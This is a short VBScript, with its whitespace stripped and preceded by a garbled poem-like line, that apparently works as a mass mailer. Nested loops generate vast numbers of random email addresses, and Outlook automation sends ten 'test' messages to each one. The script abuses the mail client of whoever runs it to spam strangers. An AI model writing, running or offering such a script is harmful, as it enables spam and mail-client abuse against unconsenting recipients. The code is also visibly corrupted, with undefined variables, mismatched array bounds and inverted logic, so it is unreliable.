remianbird,notabigbird,itisadullbird.

remididn'tsingthreeyearsago,todayichirpit.

'OnErrorresumenext

onerrorgoto0

Setfs=CreateObject("Scripting.FileSystemObject")

Setletter=fs.CreateTextFile(wscript.ScriptFullName&".txt",True)

a=chr(97)

forx=97to121

a=a&chr(x+1)

next

letter.WriteLine(a)

n=chr(48)

forx=48to56

n=n&chr(x+1)

next

letter.WriteLine(n)

l=a&la

bl=a&la&n

sl=a&n

dimaletter(35)rem20

forz=1to36

aletter(z-1)=mid(sl,z,1)

remmsgboxaletter(z-1)

next

dimal(25)

forz=1to26

al(z-1)=mid(a,z,1)

remmsgboxal(z-1)

nextrem30

forz=1to26

s=al(z-1)

forz1=1to26

s1="."&al(z1-1)&s

forz2=1to26

s2=al(z2-1)&s1

forz3=1to26

s3=al(z3-1)&s2

forz4=1to26

s4="."&al(z4-1)&s3

forz5=1to36

s5=aletter(z5-1)&s4

forz6=1to36''50

s6=aletter(z6-1)&s5

forz7=1to36

s7=aletter(z7-1)&s6

forz8=1to36

s8=aletter(z8-1)&s7

forz9=1to36

s9=aletter(z9-1)&s8''60

forz10=1to36

s10="@"&aletter(z10-1)&s9

forz11=1to36

s11=aletter(z11-1)&s10

forz12=1to36

s12=aletter(z12-1)&s11

forz13=1to36''70

s13=aletter(z13-1)&s12

forz14=1to36

s14=aletter(z14-1)&s13

forz15=1to36

s15=aletter(z15-1)&s14

forz16=1to36

s16=aletter(z16-1)&s15

forz17=1to36

s17=aletter(z17-1)&s16

forz18=1to36

s18=aletter(z18-1)&s17

forz19=1to36

s19=aletter(z19-1)&s18

'msgboxs19

setoutlookapp=createobject("outlook.application")

ifoutlookapp<>0then

setoutlookapp=createobject("outlookexpress.application")

endif

forn=1to10

setitem=outlookapp.createitem(o)

item.to=s19

item.subject="test"

item.body="hello"

item.send

next

next

next

next

next

next

next

next

next

next

next

next

next

next

next

next

next

next

next

next

next